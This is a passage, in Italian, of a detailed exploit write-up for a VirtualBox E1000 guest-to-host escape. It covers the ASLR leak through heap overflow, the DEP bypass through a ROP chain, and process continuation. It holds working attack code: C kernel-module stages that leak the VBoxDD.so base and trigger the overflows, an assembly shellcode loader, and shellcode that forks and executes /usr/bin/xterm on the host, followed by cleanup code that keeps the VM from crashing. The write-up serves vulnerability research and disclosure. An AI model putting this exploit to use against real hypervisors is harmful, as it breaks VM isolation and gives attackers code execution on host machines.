Sembra che ci sia un puntatore a una stringa collocato a un offset fisso dalla base dell'immagine di VBoxDD.so. Il puntatore si trova all'offset 0x58 alla fine di ACPIState. Possiamo leggere quel puntatore byte per byte usando le primitive e infine ottenere la base dell'immagine di VBoxDD.so. Speriamo solo che i dati oltre la struttura ACPIState non siano casuali a ogni avvio della macchina virtuale. Con un po' di fortuna, non lo sono; il puntatore all'offset 0x58 è sempre presente.
#### Perdita di informazioni
Ora combiniamo le primitive di scrittura e lettura e le sfruttiamo per bypassare l'ASLR. Faremo overflow dell'heap sovrascrivendo la struttura EEPROM93C46, poi attiveremo l'automa a stati finiti della EEPROM per scrivere l'indice nella struttura ACPIState, e infine eseguiremo INB(0x4107) nel guest per accedere all'ACPI e leggere un byte del puntatore. Ripetere l'operazione 8 volte incrementando l'indice di 1.```c
uint64_t stage_1_main(void* mmio, void* tx_ring) {
printk(KERN_INFO PFX"##### Stage 1 #####\n");
// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and
// the stack buffer.
e1000_disable_loopback_mode(mmio);
uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
stage_1_overflow_heap_buffer(mmio, tx_ring, i);
leaked_bytes[i] = stage_1_leak_byte();
printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}
uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);
return vboxdd_base;
}
```
È stato detto che, affinché l'integer underflow non porti allo stack buffer overflow, alcuni registri E1000 dovrebbero essere configurati. L'idea è che il buffer vada in overflow nella funzione e1kHandleRxPacket, che viene chiamata durante la gestione dei descrittori Tx in modalità loopback. Infatti, in modalità loopback il guest invia pacchetti di rete a sé stesso, quindi questi vengono ricevuti subito dopo essere stati inviati. Disabilitiamo questa modalità così che e1kHandleRxPacket non sia raggiungibile.
### DEP Bypass
Abbiamo bypassato l'ASLR. Ora la modalità loopback può essere abilitata e lo stack buffer overflow può essere innescato.```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
off_t buffer_pa;
void* buffer_va;
alloc_buffer(&buffer_pa, &buffer_va);
stage_2_set_up_buffer(buffer_va, vboxdd_base);
stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);
free_buffer(buffer_va);
}
void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
printk(KERN_INFO PFX"##### Stage 2 #####\n");
e1000_enable_loopback_mode(mmio);
stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
e1000_disable_loopback_mode(mmio);
}
```
Per ora, quando viene eseguita l'ultima istruzione di `e1kHandleRxPacket`, l'indirizzo di ritorno salvato viene sovrascritto e il controllo viene trasferito ovunque l'attaccante voglia. Ma c'è ancora DEP. Viene bypassato nel modo classico costruendo una catena ROP. I gadget ROP allocano memoria eseguibile, vi copiano un loader di shellcode e lo eseguono.
### Shellcode
Il loader di shellcode è banale. Copia l'inizio del buffer in overflow accanto a sé.```asm
use64
start:
lea rsi, [rsp - 0x4170];
push rax
pop rdi
add rdi, loader_size
mov rcx, 0x800
rep movsb
nop
payload:
; Here the shellcode is to be
loader_size = $ - start
```
Lo shellcode viene eseguito. La sua prima parte è:```asm
use64
start:
; sys_fork
mov rax, 58
syscall
test rax, rax
jnz continue_process_execution
; Initialize argv
lea rsi, [cmd]
mov [argv], rsi
; Initialize envp
lea rsi, [env]
mov [envp], rsi
; sys_execve
lea rdi, [cmd]
lea rsi, [argv]
lea rdx, [envp]
mov rax, 59
syscall
...
cmd db '/usr/bin/xterm', 0
env db 'DISPLAY=:0.0', 0
argv dq 0, 0
envp dq 0, 0
```
Esegue fork ed execve per creare il processo /usr/bin/xterm. L'attaccante ottiene il controllo del ring 3 dell'host.
### Continuazione del processo
Credo che ogni exploit debba essere portato a termine. Significa che non dovrebbe mandare in crash un'applicazione, anche se, ovviamente, non è sempre possibile. Dobbiamo far sì che la macchina virtuale continui l'esecuzione, cosa che si ottiene con la seconda parte dello shellcode.```asm
continue_process_execution:
; Restore RBP
mov rbp, rsp
add rbp, 0x48
; Skip junk
add rsp, 0x10
; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15
; Skip junk
add rsp, 0x8
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL
; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb
; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1")
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0
; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted
ret
```
Quando viene chiamato e1kHandleRxPacket, un callstack è:```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...
```
Passiamo direttamente a e1kR3NetworkDown_XmitPending, che non fa altro e restituisce il controllo a una funzione dell'hypervisor.```c
static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface)
{
PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown);
/* Resume suspended transmission */
STATUS &= ~STATUS_TXOFF;
e1kXmitPending(pThis, true /*fOnWorkerThread*/);
}
```
La shellcode aggiunge 0x48 a RBP per farlo tornare come dovrebbe essere in e1kR3NetworkDown_XmitPending. Successivamente, i registri RBX, R12, R13, R14, R15 vengono prelevati dallo stack perché richiesto dalla System V ABI preservarli in una funzione chiamata (callee). Se non vengono preservati, l'hypervisor andrà in crash a causa di puntatori non validi al loro interno.
Potrebbe bastare, perché la macchina virtuale non va più in crash e continua a eseguire. Ma ci sarà una violazione di accesso nella funzione PDMR3QueueDestroyDevice quando la VM viene spenta. Il motivo è che quando l'heap viene overflowato, una struttura importante PDMQUEUE viene sovrascritta. Inoltre, viene sovrascritta dagli ultimi due gadget ROP, cioè gli ultimi 16 byte. Ho provato a ridurre la dimensione della catena ROP senza successo, ma quando ho sostituito i dati manualmente, l'hypervisor continuava ad andare in crash. Ciò significava che l'ostacolo non era così ovvio come sembrava.
La struttura dati sovrascritta è una lista collegata. I dati da sovrascrivere si trovano nel penultimo elemento della lista; viene sovrascritto un puntatore next. Il rimedio si è rivelato semplice:```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL
```
Eliminare gli ultimi due elementi consente alla macchina virtuale di spegnersi senza problemi.
## Demo
https://vimeo.com/299325088
| Tx Descriptor | Prima/Dopo | u16MaxPktLen | pThis->u16TxPktLen | pDesc->data.cmd.u20DTALEN |
|---|
| data_2 | Prima | 0x3010 | 0 | 0x10 |
| - | Dopo | 0x3010 | 0x10 | 0 |
| data_3 | Prima | 0x3010 | 0x10 | 0 |
| - | Dopo | 0x3010 | 0x10 | 0 |
| data_5 | Prima | 0xF | 0x10 | 0x4188 |
| - | Dopo | - | - | - |